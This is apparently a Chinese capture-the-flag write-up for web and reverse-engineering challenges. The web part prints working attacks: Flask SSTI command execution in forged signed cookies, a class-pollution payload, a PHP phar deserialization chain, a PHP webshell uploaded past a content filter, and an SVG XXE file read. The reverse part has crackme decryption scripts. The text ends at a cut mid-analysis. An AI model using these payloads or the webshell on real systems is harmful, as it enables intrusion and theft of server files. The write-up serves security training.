flask-unsign --sign --cookie "{'user': '{{y.__init__[\'__glo\'\'bals__\'].__builtins__[\'eval\'](\'__imp\'\'ort__(\"os\").popen(\"find / -perm -u=s -type f 2>/dev/null\").read()\')}}xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'}" --secret 'key_ciallo_secret'

.eJzti0sKwyAURbciTp4OEqHDQruRJjwMvhTBqPgJDcG916yik57Z5dxz8pop8Ts_z2NEtN4WxBcgvl0AWLTLiDB3s1TrivX5srRrB7PoL7tFgJB6IyYe8sTlGEMk39dqvWGKDZHSxob6yGwoRyS2sttTGdqVr85dQSJthATZ2ufPj-HtC7gL5HI.aQTTWA.JjsfdO2-vypcIXkKrjBnqzInyrc

得到:

1
2
3
4
5
6
7
8
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
/usr/local/bin/env

读文件:

1
{{y.__init__['__glo''bals__'].__builtins__['eval']('__imp''ort__("os").popen("env cat /flag").read()')}}
1
2
3
flask-unsign --sign --cookie "{'user': '{{y.__init__[\'__glo\'\'bals__\'].__builtins__[\'eval\'](\'__imp\'\'ort__(\"os\").popen(\"env cat /flag\").read()\')}}xxxxxxxxxx'}" --secret 'key_ciallo_secret'

.eJw9y8EOgyAQBNBfMXtZuNh7f0XNZm2p2WQLBNDUEP69eHFukzdTYc8uwRNqPUci8VKIJiTaNCCurJkIly7rLlrE50vdwYqL6Sv5RsSQ-sfMEPIMdowhOt-b88fw4jI8PsrbBcnx21i0rf3uQPsDYl8s3A.aQTT4A.x00Jv9qdso5mRFF1Bso01vvtX00

SYC{D0nt_m@ke_w1sdom_awar3_of_Rules_019a3ab9ec7d7e68a8548384d1020b77}

百年继承

多年以后,面对命令执行,奥雷良诺·布恩地亚上校将会回想起,他父类带它去见识属性的那个遥远的下午。
————
奥雷良诺·布恩地亚上校一生卷入了无数次武装起义,甚至多次面对行刑队,但他始终侥幸逃脱,从未真的被枪决,这次应该也一样

hint: execute_method为字符串

中间的一步用原型链污染:

1
{"weapon": "spear","tactic": "ambush","__class__": {"__base__": {"__base__": {"execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', False), __builtins__['__import__']('os').environ.get('FLAG', 'no FLAG'))"}}}}

ez-seralize

简单的读文件?

输入index.php得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;

$content = null;
$error = null;

if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}

if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>File Reader</title>
<style>
:root{
--card-bg: #ffffff;
--page-bg: linear-gradient(135deg,#f0f7ff 0%,#fbfbfb 100%);
--accent: #1e88e5;
--muted: #6b7280;
--success: #16a34a;
--danger: #dc2626;
--card-radius: 12px;
--card-pad: 20px;
}
html,body{height:100%;margin:0;font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;}
body{
background: var(--page-bg);
display:flex;
align-items:center;
justify-content:center;
padding:24px;
}
.card{
width:100%;
max-width:820px;
background:var(--card-bg);
border-radius:var(--card-radius);
box-shadow: 0 10px 30px rgba(16,24,40,0.08);
padding:var(--card-pad);
}
h1{margin:0 0 6px 0;font-size:18px;color:#0f172a;}
p.lead{margin:0 0 18px 0;color:var(--muted);font-size:13px}
form.controls{display:flex;gap:10px;flex-wrap:wrap;align-items:center;margin-bottom:14px}
input[type="text"]{
flex:1;
padding:10px 12px;
border:1px solid #e6e9ef;
border-radius:8px;
font-size:14px;
outline:none;
transition:box-shadow .12s ease,border-color .12s ease;
}
input[type="text"]:focus{box-shadow:0 0 0 4px rgba(30,136,229,0.08);border-color:var(--accent)}
button.btn{
padding:10px 16px;
background:var(--accent);
color:white;
border:none;
border-radius:8px;
cursor:pointer;
font-weight:600;
}
button.btn.secondary{
background:#f3f4f6;color:#0f172a;font-weight:600;border:1px solid #e6e9ef;
}
.hint{font-size:12px;color:var(--muted);margin-top:6px}
.result{
margin-top:14px;
border-radius:8px;
overflow:hidden;
border:1px solid #e6e9ef;
}
.result .meta{
padding:10px 12px;
display:flex;
justify-content:space-between;
align-items:center;
background:#fbfdff;
font-size:13px;
color:#111827;
}
.result .body{
padding:12px;
background:#0b1220;
color:#e6eef8;
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", monospace;
font-size:13px;
line-height:1.5;
max-height:520px;
overflow:auto;
white-space:pre-wrap;
word-break:break-word;
}
.alert{padding:10px 12px;border-radius:8px;font-weight:600;margin-top:12px;}
.alert.warn{background:#fff7ed;color:#92400e;border:1px solid #ffedd5}
.alert.error{background:#fff1f2;color:#9f1239;border:1px solid #fecaca}
.alert.info{background:#ecfeff;color:#064e3b;border:1px solid #bbf7d0}
.footer{margin-top:12px;font-size:12px;color:var(--muted)}
@media (max-width:640px){
.card{padding:16px}
.result .meta{font-size:12px}
}
</style>
</head>
<body>
<div class="card">
<h1>📄 File Reader</h1>
<p class="lead">在下面输入要读取的文件</p>

<form class="controls" method="get" action="">
<input type="text" name="filename" value="<?php echo isset($_GET['filename']) ? htmlspecialchars($_GET['filename'], ENT_QUOTES) : ''; ?>" />
<button type="submit" class="btn">读取文件</button>
<a class="btn secondary" href="">重置</a>
</form>


<?php if ($error !== null && $error !== ''): ?>
<div class="alert error" role="alert"><?php echo htmlspecialchars($error, ENT_QUOTES); ?></div>
<?php endif; ?>
<!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \
> /usr/local/etc/php/conf.d/zz-open_basedir.ini-->

<?php if ($content !== null): ?>
<div class="result" aria-live="polite">
<div class="meta">
<div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); ?></div>
<div style="font-size:12px;color:var(--muted)"><?php echo strlen($content); ?> bytes</div>
</div>
<div class="body"><pre><?php echo htmlspecialchars($content, ENT_QUOTES); ?></pre></div>
</div>
<?php elseif ($error === null && isset($_GET['filename'])): ?>
<div class="alert warn">未能读取内容或文件为空。</div>
<?php endif; ?>
</div>
</body>
</html>

读 function.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class A {
public $file;
public $luo;

public function __construct() {
}

public function __toString() {
$function = $this->luo;
return $function();
}
}

class B {
public $a;
public $test;

public function __construct() {
}

public function __wakeup()
{
echo($this->test);
}

public function __invoke() {
$this->a->rce_me();
}
}

class C {
public $b;

public function __construct($b = null) {
$this->b = $b;
}

public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}

扫描有个uploads.php,读:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];

$resultMessage = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];

if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}

$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}

$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;

file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");

$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Secure File Upload</title>
<style>
body {
font-family: "Segoe UI", Arial, sans-serif;
background: linear-gradient(135deg, #e3f2fd, #f8f9fa);
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.container {
background: #fff;
padding: 2em 3em;
border-radius: 16px;
box-shadow: 0 8px 24px rgba(0,0,0,0.1);
max-width: 400px;
width: 90%;
text-align: center;
}
h1 {
color: #0078d7;
margin-bottom: 0.8em;
font-size: 1.6em;
}
input[type="file"] {
display: block;
margin: 1em auto;
font-size: 0.95em;
}
button {
background-color: #0078d7;
color: white;
border: none;
padding: 0.6em 1.4em;
border-radius: 6px;
cursor: pointer;
transition: 0.2s ease;
}
button:hover {
background-color: #005ea6;
}
.success, .error {
margin-top: 1em;
padding: 0.8em;
border-radius: 8px;
font-weight: 600;
}
.success {
background: #e8f5e9;
color: #2e7d32;
border: 1px solid #81c784;
}
.error {
background: #ffebee;
color: #c62828;
border: 1px solid #ef9a9a;
}
.footer {
margin-top: 1.5em;
font-size: 0.85em;
color: #666;
}
</style>
</head>
<body>
<div class="container">
<h1>📤 File Upload Portal</h1>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
<?= $resultMessage ?>
<div class="footer">Allowed types: txt, log, jpg, jpeg, png, zip</div>
</div>
</body>
</html>

日志:/tmp/log.txt

打phar反序列化,生成phar文件,改为jpg后缀上传:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class A {
public $file;
public $luo;
}

class B {
public $a;
public $test;
}

class C {
public $b;
}

@unlink("1.phar");
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$a = new A;
$b1 = new B;
$c = new C;
$b1->a = $c;
$a->luo = $b1;
$b2 = new B;
$b2->test = $a;

$phar->setMetadata($b2);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

读 /tmp/log.txt 得到新文件名,uploads/1761925409_1.jpg

1
?filename=phar://./uploads%2F1761925409_1.jpg&serialized=1

再读:

1
/?filename=/tmp/flag

SYC{019a3adcbde67924b65de3fd2c796bfc}

eeeeezzzzzzZip

小杭写了一个压缩包管理平台,但是作为一个开发很不仔细,也许有什么问题在里面呢

扫描下载www.zip:

1
2
3
login.php — 登录认证页面(固定账号密码)。
upload.php — 受限上传接口,允许上传压缩文件。
index.php — 登录后主页面,可对上传的文件进行 include 执行。

login.php登录,admin/guest123。

upload.php:

只允许上传后缀为 .zip/.bz2/.gz/.xz/.7z 的文件,并且 MIME 类型要匹配。

此外,还做了内容过滤,函数 content_filter() 会读取文件的头 4KB + 尾 4KB,如果包含以上任意黑名单关键字,则上传拒绝。

content_filter函数读取文件头和尾各4096字节,检查是否包含BLOCK_LIST中的字符串,如果找到则返回false表示被阻塞。

未检查文件中间的内容,上传正常gzip数据,然后前后各塞4096垃圾数据,中间放php代码即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload.php HTTP/1.1
Host: 019a4236-ff28-71b9-b009-26b2d6f92096.geek.ctfplus.cn
Content-Length: 8451
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF68h0SF0JVXCdFUF
Accept: */*
Origin: http://019a4236-ff28-71b9-b009-26b2d6f92096.geek.ctfplus.cn
Referer: http://019a4236-ff28-71b9-b009-26b2d6f92096.geek.ctfplus.cn/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: _clck=bi6pt4%5E2%5Eg0l%5E0%5E2007; PHPSESSID=daae49914163fee76e5498421cd5b9df
Connection: close

------WebKitFormBoundaryF68h0SF0JVXCdFUF
Content-Disposition: form-data; name="file"; filename="shell.gz"
Content-Type: application/x-gzip

【gzip数据】(4096个x)<?php system($_GET[1]);?>4096个x)

得到:

1
UPLOAD_OK:1762049642_shell.gz

最后访问:

1
/index.php?f=1762049642_shell.gz&0=cat%20/flag/flag.txt

得到flag。

路在脚下

有人说事到如今已经无路可走,岂不闻天无绝人之路,只要我想走,“路”,就在脚下!

利用:

1
?name={{config.__class__.__init__.__globals__['os'].popen('env>/tmp/1.txt').read()}}

参考:

https://asal1n.github.io/2024/10/18/python%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C&&%E5%86%85%E5%AD%98%E9%A9%AC/index.html

将根目录设置为flask静态文件路径:

1
?name={{x.__init__.__globals__.__getitem__('__builtins__').__getitem__('exec')("setattr(__import__('sys').modules.__getitem__('__main__').__dict__.__getitem__('app'),'_static_folder','/')")}}

然后访问 /static/tmp/1.txt,得到flag

Image Viewer

安全的在线图片预览网站

1
2
3
4
<form enctype="multipart/form-data" method="post" action="/render" class="card">
<input type="file" name="file" accept=".svg,image/svg+xml,.png,.jpg,.jpeg,.gif,image/*" />
<input class="btn primary" type="submit" value="Render">
</form>

上传路径是 /render,服务端会处理上传的图片并渲染(render)出来。

SVG 是 可嵌入脚本的 XML 文件,可利用 SVG XSS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /render HTTP/1.1
Host: geek.ctfplus.cn:32275
Content-Length: 353
Cache-Control: max-age=0
Origin: http://geek.ctfplus.cn:32275
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryairmzGFMIwdRYJE5
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://geek.ctfplus.cn:32275/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: _clck=3r8bd6%5E2%5Eg0p%5E0%5E2116
Connection: close

------WebKitFormBoundaryairmzGFMIwdRYJE5
Content-Disposition: form-data; name="file"; filename="111"
Content-Type: image/svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///flag" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
------WebKitFormBoundaryairmzGFMIwdRYJE5--

SYC{Go0d_SVG_worK}

REVERSE

encode

我的stdio呢,算了,还是自己写吧

IDA识别为Mach-O file,代码逻辑:

输入处理:用户输入字符串,通过自定义 scanf 读取并加密。

加密流程:输入字符串经过异或(^ 0x5A)处理。加密函数 enc 进行填充和分块加密(每块8字节,调用 enc_block)。enc_block 使用XTEA算法进行加密。

验证:加密后的数据经过Base64编码。与预定义的密文(__dst)比较,判断输入是否正确。

提取密文,解XTEA(注意是大端序):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *
from base64 import *

def decrypt(v, k):
v0 = v[0]
v1 = v[1]
delta = 0x9E3779B9
x = delta * 32
for i in range(32):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (x + k[(x >> 11) & 3])
v1 = v1 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (x + k[x & 3])
v0 = v0 & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v

c = list(b64decode('vBzX30Koxl3HpDaYaFJKhyB/1ckuVCnc4wZhrwUWeNuZkAxr+Qn5UaYbpvymmCrk'))
c = [k ^ 0x5A for k in c]

k = b'geek2025reverse!'
key = [bytes_to_long(k[4*i:4*(i+1)]) for i in range(len(k)//4)]
print(key)

encrypted = [bytes_to_long(bytes(c[4*i:4*(i+1)])) for i in range(len(c)//4)]
print(encrypted)

decrypted = []
final = b''
for i in range(len(encrypted)//2):
now = decrypt(encrypted[2*i:2*(i+1)], key)
decrypted += now
final += long_to_bytes(now[0]) + long_to_bytes(now[1])

print(final)

# b'SYC{St4nd4rd_Funct10n_N0t_4lw4ys_St4nd4rd}\x06\x06\x06\x06\x06\x06'

ez_pyyy

太好了是pyc我们有救了

PyLingual反编译pyc,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
cipher = [48, 55, 57, 50, 53, 55, 53, 50, 52, 50, 48, 55, 101, 52, 53, 50, 52, 50, 52, 50, 48, 55, 53, 55, 55, 55, 50, 54, 53, 55, 54, 55, 55, 55, 53, 54, 98, 55, 97, 54, 50, 53, 56, 52, 50, 52, 99, 54, 50, 50, 52, 50, 50, 54]

def str_to_hex_bytes(s: str) -> bytes:
return s.encode('utf-8')

def enc(data: bytes, key: int) -> bytes:
return bytes([b ^ key for b in data])

def en3(b: int) -> int:
return b << 4 & 240 | b >> 4 & 15

def en33(data: bytes, n: int) -> bytes:
"""整体 bitstream 循环左移 n 位"""
bit_len = len(data) * 8
n = n % bit_len
val = int.from_bytes(data, 'big')
val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1
return val.to_bytes(len(data), 'big')
if __name__ == '__main__':
flag = ''
data = str_to_hex_bytes(flag)
data = enc(data, 17)
data = bytes([en3(b) for b in data])
data = data[::-1]
data = en33(data, 32)
if data.hex() == cipher:
print('Correct! ')
else:
print('Wrong!!!!!!!!')

加密逻辑是一些位运算,求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cipher_codes = [48,55,57,50,53,55,53,50,52,50,48,55,101,52,53,50,52,50,52,50,48,55,53,55,55,55,50,54,53,55,54,55,55,55,53,54,98,55,97,54,50,53,56,52,50,52,99,54,50,50,52,50,50,54]

def en3(b: int) -> int:
return (b << 4 & 0xF0) | (b >> 4 & 0x0F)

def ror_bytes(data: bytes, n: int) -> bytes:
bit_len = len(data) * 8
n = n % bit_len
val = int.from_bytes(data, 'big')
val = (val >> n) | ((val << (bit_len - n)) & ((1 << bit_len) - 1))
return val.to_bytes(len(data), 'big')

cipher_hex = ''.join(chr(c) for c in cipher_codes)
cipher_bytes = bytes.fromhex(cipher_hex)

data = ror_bytes(cipher_bytes, 32)
data = data[::-1]
data = bytes(en3(b) for b in data)
data = bytes(b ^ 17 for b in data)

# b'SYC{jtfgdsfda554_a54d8as53}'

only_flower

去年的花海只剩下一朵花了

main函数有花指令,基本都是jmp short near ptr xxx 这样的花指令,nop掉。

相似的checkcheck和encrypt函数都有花,全部nop掉,还原伪码。

代码逻辑:

输入flag,检查格式,以 “SYC{“ 开头,以 “}” 结尾,长度 28,加密输入,和 CIPHER 比较。

对rol移位加密逆向,求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
KEY = b"GEEK2025"
CIPHER = [0x0A, 0x84, 0xC2, 0x84, 0x51, 0x48, 0x5F, 0xF2, 0x9E, 0x8D,
0xD0, 0x84, 0x75, 0x67, 0x73, 0x8F, 0xCA, 0x57, 0xD7, 0xE6,
0x14, 0x6E, 0x77, 0xE2, 0x29, 0xFE, 0xDF, 0xCC]
def rol8(v,n):
n = n &7
return ((v << n) & 0xFF) | (v >> (8-n))
def ror8(v,n):
n = n &7
return ((v >> n) | ((v << (8-n)) & 0xFF)) & 0xFF

out = CIPHER
key = KEY
res = []
for i, c in enumerate(out):
k = key[i % len(key)]
n = k & 7
t = (c - i) & 0xFF
x = ror8(t, n) # gives k ^ in
inb = k ^ x
res.append(inb)
flag = bytes(res)
print(flag)

b'SYC{asdjjasdhjk12wk12ijkejk}'

ezRu3t

4ak5ra: Samsara怎么这么坏(小声)
QYQS:为什么呢?(中声)
K4per:Samsara怎么这么坏(超大声)
sleep4r: 我得学习一下(思考)
Samsara:何意味

rust程序,伪码与汇编结合看。

主函数sub_140002490,先进入sub_140003020,是base64算法,码表为常规码表A-Za-z0-9;往下再到base85编码算法,码表在 a0123456789Abcd,提取:

1
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstu

最后是一个str转hex,用memcmp比较结果与密文,在memcmp下断点,动调提取密文:

1
3c41413b58414d3f2c5f403b545b7240374537373968383b733e276070743d3e336336415375484641534f74503c476b665f4134266750416c315d53

Cyberchef解密,fromhex+base85+base64,得到flag:

SYC{Ohjhhh_y0u_g3t_Ezzzzz3_Ru3t!@}

QYQSの奇妙冒险

QYQS熬夜打完比赛,一睁眼就穿越到了一个废土世界,在下水管道里,他捡到了一个奇妙的终端,可是为什么他也叫QYQS呢?
(空格跳过时注意不要按多了哟QAQ)

用户输入一个 21 字符的字符串,对输入做加密:

1
input[i] = input[i] ^ key[i % 4] ^ i

再将结果与 QYQS 数组比较。

异或可逆,还原:

1
2
3
4
5
6
7
8
9
10
11
12
key = b"QYQS"
QYQS = [2, 1, 16, 43, 28, 3, 23, 57, 6, 1, 34, 41, 14, 11, 45, 109, 6, 32, 23, 127, 56]

input_bytes = []
for i in range(len(QYQS)):
val = QYQS[i] ^ key[i % 4] ^ i
input_bytes.append(val)

result = bytes(input_bytes)
print(result)

b'SYC{I_@m_QyqS_r1GhT?}'

ezSMC

小故事:
记得我去年做SMC的时候QYQS说SMC有妙妙工具,我当时一直很好奇是什么工具没找到。后面进了Syclover以后他终于告诉我,妙妙工具是VS2022……

ASCII → Hex → Bytes。

encode函数,使用RC4算法加密,使用 key=0x11;

miao_encrypt函数,存在SMC,动调还原encodee,是一个base64算法,码表:

1
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

enc0de函数,base58算法,码表:

1
ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789

提取密文:

1
tHMoSoMX71sm62ARQ8aHF6i88nhkH9Ac2J7CrkQsQgXpiy6efoC8YVkzZu1tMyFxCLbbqvgXZHxtwK5TACVhPi1EE5mK6JG56wPNR4d2GmkELGfJHgtcAEH7

Cyberchef还原,base58+base64+RC4,得到flag:

SYC{OHhhhhhhh_y0u_Kn0m_SMCCCC@!}

Gensh1n

sleep4r :世界上最好的游戏是什么?
4akra:那必须是Gensh1n
Samsara:没救了烧了吧

主函数 main() 的流程:

初始化 global_nodes 数组(调用 init_node()),提示输入 8 个字符,检查每个字符是否合法(is_valid_char()),调用 calc_string_hash() 计算输入字符串的哈希,比较输入字符和 global_nodes 的某些元素,决定是否输出成功消息。

.fini_array 执行 cleanup(),输入内容通过compute_checksum,得到dest,与result比较。

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall compute_checksum(__int64 a1, int a2)
{
unsigned int v3; // [rsp+14h] [rbp-8h]
int i; // [rsp+18h] [rbp-4h]

v3 = 0;
for ( i = 0; i < a2; ++i )
v3 = __ROL4__(*(i + a1) + v3, 1);
return v3;
}

输入必须28字节,经过sub_44656(“geek2025”)处理后,dest必须等于result,且CRC匹配。

sub_44656是标准RC4,key=geek2025。

提取密文:

1
result_hex=5259F38A000FE65636E5F033406E56815AE56F876F9F21C9A6BB1651

解RC4,flag:

SYC{50_y0u_pl@y_Gensh1n_too}

QYQSの奇妙冒险2

当你再次拿起终端时,它似乎少了什么,又似乎多了什么

main汇编后半段没有反汇编:

1
2
3
4
5
6
.text:000000014001279B ; 77:     _initterm_0();
.text:000000014001279B nop
.text:000000014001279C call cs:__imp__initterm_0
.text:00000001400127A2 nop
.text:00000001400127A3 xor eax, eax
.text:00000001400127A5 jmp loc_1400128F9

这段nop掉,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
v19 = 114514;
for ( n = 0; ; ++n )
{
v23 = n;
if ( n >= j_strlen(_ArgList) )
break;
v19 += QYQS[n];
v19 <<= key[n % 4];
_ArgList[n] ^= v19;
}
for ( ii = 0; ; ++ii )
{
v23 = ii;
if ( ii >= j_strlen(_ArgList) )
break;
if ( _ArgList[ii] != *(&_security_cookie_0.value + ii) )
goto LABEL_21;
}
typeWriterEffect("验证成功\n");
j_GetConsoleScreenBufferInfo_0("\n", v7);
j_GetConsoleScreenBufferInfo_0("\n按任意键退出...", v8);

__security_cookie_0就是flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
c = [ 83,   0,   0,   0,  89,   0,   0,   0,  67,   0, 
0, 0, 123, 0, 0, 0, 77, 0, 0, 0,
64, 0, 0, 0, 121, 0, 0, 0, 95, 0,
0, 0, 98, 0, 0, 0, 69, 0, 0, 0,
95, 0, 0, 0, 121, 0, 0, 0, 48, 0,
0, 0, 117, 0, 0, 0, 95, 0, 0, 0,
70, 0, 0, 0, 49, 0, 0, 0, 110, 0,
0, 0, 100, 0, 0, 0, 63, 0, 0, 0,
125, 0, 0, 0, 0, 0, 0, 0]

m = []
for i in range(0,len(c),4):
m.append(c[i])
print(bytes(m))

# b'SYC{M@y_bE_y0u_F1nd?}\x00'

stack_bomb

神说:要有栈,于是QYQS开辟了一大片的栈
QYQS说:得看汇编,于是re手失去了他们信赖的伪代码
(本题目flag格式为syc{})

主函数sub_2F1FE0:

1
2
3
4
5
6
7
8
9
10
11
.text:002F214D                 push    offset sub_2F1307
.text:002F2152 push offset sub_2F109B
.text:002F2157 push offset sub_2F13F2
.text:002F215C push offset sub_2F1186
.text:002F2161 push offset sub_2F115E
.text:002F2166 push offset sub_2F1091
.text:002F216B push offset sub_2F12D0
.text:002F2170 push offset sub_2F1163
.text:002F2175 push offset sub_2F1005
.text:002F217A push offset sub_2F139D
.text:002F217F push offset sub_2F1014

包含基于函数指针的混淆,分析核心变换函数 sub_2F1920/sub_2F1014。

进行四次调用的“加密逻辑”就是函数 sub_2F1920 (或其跳转入口 sub_2F1014)。

这个函数接收一组数据(可能是一个 64 位值,分解为两个 32 位 DWORD),并对其进行多次循环变换。结构与 TEA分组密码算法的核心轮函数非常相似。

关键参数:

arg_0: 这是一个指针,指向需要被加密或解密(变换)的 64 位(8 字节)数据块。在函数内部被拆分为 var_C (左 32 位) 和 var_18 (右 32 位)。

arg_0+4: 另一个指针,可能指向用于变换的密钥。在函数内部被拆分为四个 32 位值:var_3C, var_48, var_54, var_60。

arg_144: 变换的轮数(Loop Count),用于控制循环执行的次数。

主要的变换逻辑在一个循环内执行(从 loc_2F19C1 到 loc_2F1B37),其结构为:

